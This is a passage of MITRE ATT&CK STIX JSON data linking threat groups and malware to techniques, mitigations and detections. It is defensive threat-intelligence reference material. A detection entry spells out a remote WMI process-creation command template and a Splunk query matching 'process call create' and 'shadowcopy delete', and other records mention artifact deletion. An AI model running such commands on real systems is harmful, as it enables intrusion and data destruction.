2020)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--539f8bc3-3fb4-43af-8918-9a65239cdff6","type":"relationship","created":"2017-05-31T21:33:27.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","source_name":"Kaspersky Carbanak"}],"modified":"2019-03-22T19:59:27.038Z","description":"[Carbanak](https://attack.mitre.org/groups/G0008) installs VNC server software that executes through rundll32.(Citation: Kaspersky Carbanak)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--53a0d647-a24c-43e1-ab02-7dd18e9182d2","created":"2023-07-10T16:39:19.697Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T13:19:12.314Z","description":"Log API calls to assume, create, or impersonate additional roles, policies, and permissions. Review uses of just-in-time access to ensure that any justifications provided are valid and only expected actions were taken.","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--6fa224c7-5091-4595-bf15-3fc9fe2f2c7c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53a66a44-0620-4edc-bb9d-c40cfcb17546","type":"relationship","created":"2022-03-23T16:57:13.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}],"modified":"2022-03-23T19:01:21.707Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used GitHub as C2, pulling hosted image payloads then committing command execution output to files in specific directories.(Citation: Lazarus APT January 2022)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--53a6a12f-04f2-445b-b733-8392ade1a7e5","created":"2020-10-12T16:17:34.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"},{"source_name":"MSTIC NOBELIUM May 2021","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-31T19:48:33.746Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has registered algorithmically generated Twitter handles that are used for C2 by malware, such as [HAMMERTOSS](https://attack.mitre.org/software/S0037). [APT29](https://attack.mitre.org/groups/G0016) has also used legitimate web services such as Dropbox and Constant Contact in their operations.(Citation: FireEye APT29)(Citation: MSTIC NOBELIUM May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53a8ee3f-f261-46d5-a6eb-512735867ee2","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Pasam May 2012","description":"Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}],"modified":"2020-02-11T19:38:06.236Z","description":"[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve lists of running processes.(Citation: Symantec Pasam May 2012)","relationship_type":"uses","source_ref":"malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53a95297-1cce-401c-99a3-34079e878fac","type":"relationship","created":"2019-07-17T20:50:44.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-20T21:51:46.205Z","description":"Web Application Firewalls may be used to limit exposure of applications to prevent exploit traffic from reaching the application.","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53ad6525-7888-4651-bd43-c010b489ccc0","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro RawPOS April 2015","description":"TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.","url":"http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf"},{"source_name":"Mandiant FIN5 GrrCON Oct 2016","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","url":"https://www.youtube.com/watch?v=fevGZs0EQu8"},{"source_name":"Visa RawPOS March 2015","description":"Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.","url":"https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf"}],"modified":"2020-03-30T03:01:39.658Z","description":"[RawPOS](https://attack.mitre.org/software/S0169) encodes credit card data it collected from the victim with XOR.(Citation: TrendMicro RawPOS April 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)(Citation: Visa RawPOS March 2015)","relationship_type":"uses","source_ref":"malware--9752aef4-a1f3-4328-929f-b64eb0536090","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--53ae8545-a24d-431c-a0ee-6d5b63278490","created":"2024-03-19T17:18:34.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-19T17:21:35.823Z","description":"[STEADYPULSE](https://attack.mitre.org/software/S1112) can transmit URL encoded data over C2.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--ca0fead6-5277-427a-825b-42ff1fbe476e","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--53b041d2-4250-473e-b7c6-3b05fcdf3d3f","created":"2020-12-30T17:56:42.438Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-15T14:40:03.068Z","description":"Use the principal of least privilege and protect administrative access to domain trusts and identity tenants.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--53b64a61-b521-4767-9c3a-bb73d518aa15","created":"2022-05-04T22:29:37.326Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Chrommme](https://attack.mitre.org/software/S0667) can decrypt its encrypted internal code.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-04T22:29:37.326Z","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--53b93d5c-8f99-43a0-a356-378ad61634d6","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T15:55:55.573Z","description":"Monitor network traffic for WMI connections for potential use to remotely edit configuration, start services, or query files. When remote WMI requests are over RPC it connects to a DCOM interface within the RPC group netsvcs. To detect this activity, a sensor is needed at the network level that can decode RPC traffic or on the host where the communication can be detected more natively, such as Event Tracing for Windows. Using wireshark/tshark decoders, the WMI interfaces can be extracted so that WMI activity over RPC can be detected. Although the description details how to detect remote WMI precisely, a decent estimate has been to look for the string RPCSS within the initial RPC connection on 135/tcp. It returns a superset of this activity, and will trigger on all DCOM-related services running within RPC, which is likely to also be activity that should be detected between hosts. More about RPCSS at : rpcss_dcom_interfaces.html\n\nLook for instances of the WMI querying in network traffic, and find the cases where a process is launched immediately after a connection is seen. This essentially merges the request to start a remote process via WMI with the process execution. If other processes are spawned from wmiprvse.exe in this time frame, it is possible for race conditions to occur, and the wrong process may be merged. If this is the case, it may be useful to look deeper into the network traffic to see if the desired command can be extracted.\n\nAfter the WMI connection has been initialized, a process can be remotely launched using the command: wmic /node:\"\" process call create \"\", which is detected in the third Detection Pseudocode. \n\nThis leaves artifacts at both a network (RPC) and process (command line) level. When wmic.exe (or the schtasks API) is used to remotely create processes, Windows uses RPC (135/tcp) to communicate with the the remote machine.\n\nAfter RPC authenticates, the RPC endpoint mapper opens a high port connection, through which the schtasks Remote Procedure Call is actually implemented. With the right packet decoders, or by looking for certain byte streams in raw data, these functions can be identified.\n\nWhen the command line is executed, it has the parent process of C:\\windows\\system32\\wbem\\WmiPrvSE.exe. This analytic looks for these two events happening in sequence, so that the network connection and target process are output.\n\nCertain strings can be identifiers of the WMI by looking up the interface UUID for IRemUnknown2 in different formats\n- UUID 00000143-0000-0000-c000-000000000046 (decoded)\n- Hex 43 01 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 (raw)\n- ASCII CF (printable text only)\n\nThis identifier is present three times during the RPC request phase. Any sensor that has access to the byte code as raw, decoded, or ASCII could implement this analytic. The transfer syntax is\n- UUID 8a885d04-1ceb-11c9-9fe8-08002b104860 (decoded)\n- Hex 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 (raw)\n- ASCII `]+H`` (printable text only)\n\nThus, a great ASCII based signature is\n- *CF*]+H*CF*CF*host*\"\n\nNote: To detect WMI over RPC (using DCOM), a sensor needs to exist that has the insight into individual connections and can actually decode and make sense of RPC traffic. Specifically, WMI can be detected by looking at RPC traffic where the target interface matches that of WMI, which is IRemUnknown2. Look for instances of the WMI querying in network traffic, and find the cases where a process is launched immediately after a connection is seen. This essentially merges the request to start a remote process via WMI with the process execution. If other processes are spawned from wmiprvse.exe in this time frame, it is possible for race conditions to occur, and the wrong process may be merged. If this is the case, it may be useful to look deeper into the network traffic to see if the desired command can be extracted.\n\nAnalytic 1 - Monitor for WMI over RPC (DCOM) connections. Look for the string RPCSS within the initial RPC connection on port 135/tcp.\n\n index=windows_logs sourcetype=WinEventLog:Security OR sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational OR sourcetype=WinEventLog:Microsoft-Windows-Security-Auditing\n| eval ProcessName=lower(ProcessName), CommandLine=lower(CommandLine)\n| search ProcessName IN (\"wmic.exe\", \"powershell.exe\", \"wmiprvse.exe\", \"wmiadap.exe\", \"scrcons.exe\", \"wbemtool.exe\")\n| search CommandLine IN (\"*process call create*\", \"*win32_process*\", \"*win32_service*\", \"*shadowcopy delete*\", \"*network*\")\n| search (sourcetype=\"WinEventLog:Security\" EventCode=4688) OR (sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1)\n| join ProcessName [ search index=windows_logs sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=3 \n| eval DestinationIp = coalesce(DestinationIp, dest_ip)\n| eval DestinationPort = coalesce(DestinationPort, dest_port)\n| search DestinationPort IN (135, 5985, 5986) ]\n| stats count by _time, ComputerName, User, ProcessName, CommandLine, DestinationIp, DestinationPort, dest, src_ip, dest_ip\n| eval alert_message=\"Suspicious WMI Network Connection Detected: \" + ProcessName + \" executed by \" + User + \" on \" + ComputerName + \" with command: \" + CommandLine + \" connecting to \" + DestinationIp + \":\" + DestinationPort\n| where NOT (User=\"SYSTEM\" OR ProcessName=\"wmiprvse.exe\" OR (src_ip=\"trusted_ip_range\" AND DestinationIp=\"trusted_ip_range\"))\n| table _time, ComputerName, User, ProcessName, CommandLine, DestinationIp, DestinationPort, src_ip, dest_ip, alert_message","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53c22ca9-b02f-4a45-adc6-cf7763a2c6a9","type":"relationship","created":"2020-01-19T16:54:28.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T14:08:24.096Z","description":"Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--53c7b735-ba51-43ed-b363-3cf388c97ca0","created":"2024-09-25T15:21:53.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T19:06:20.272Z","description":"(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53c8de3e-f862-44d5-be7e-274e14bdd57e","type":"relationship","created":"2020-05-21T17:07:02.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCCGroup RokRat Nov 2018","url":"https://research.nccgroup.com/2018/11/08/rokrat-analysis/","description":"Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."}],"modified":"2021-03-29T19:50:54.290Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can request to delete files.(Citation: NCCGroup RokRat Nov 2018)\t","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--53c8e757-8043-4d08-8bd6-8d02d2b973cb","created":"2019-10-04T22:16:08.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.987Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used a custom MBR wiper named BOOTWRECK, which will initiate a system reboot after wiping the victim's MBR.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53cc6b0b-66ec-4f7d-a725-f65b076b5428","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}],"modified":"2020-03-16T15:53:20.489Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can delete files and directories.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53cfa0ee-9802-4abb-8be5-7411095dbe8f","type":"relationship","created":"2020-10-02T15:59:11.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T15:59:11.783Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3","target_ref":"attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--53d441a4-d6ba-46b2-aa56-91b3f232c67a","created":"2019-09-12T19:07:13.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Fysbis Dr Web Analysis","description":"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.","url":"https://vms.drweb.com/virus/?i=4276269"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:30:01.966Z","description":"[Fysbis](https://attack.mitre.org/software/S0410) has been encrypted using XOR and RC4.(Citation: Fysbis Dr Web Analysis) ","relationship_type":"uses","source_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53d47656-2154-4e25-82f9-3dcecd37a05a","type":"relationship","created":"2021-06-21T18:31:00.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-06-21T18:31:00.899Z","description":"[Cuba](https://attack.mitre.org/software/S0625) can use the command cmd.exe /c del to delete its artifacts from the system.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53d7b242-3ed6-4281-9829-e25d425e28fe","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2019-06-24T17:08:51.634Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has run a plug-in on a victim to spread through the local network by using [PsExec](https://attack.mitre.org/software/S0029) and accessing admin shares.(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--53d7fdab-05fb-4427-b0e0-11463e05b3f3","created":"2021-11-30T16:13:37.290Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) can collect system profile information from a compromised host.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-13T13:20:08.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53da73de-7983-4517-8e59-a1b305fcfac0","type":"relationship","created":"2021-04-13T13:13:10.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T13:13:10.399Z","description":"(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53da7e18-3812-47d5-a8de-af49e84f796a","type":"relationship","created":"2021-03-25T15:10:31.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T15:10:31.960Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used AES encrypted communications in C2.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53dc0b4d-d546-431f-b92a-de10beb3bdf3","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--53e09f15-3162-4480-8eb4-709e9c18d7fb","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 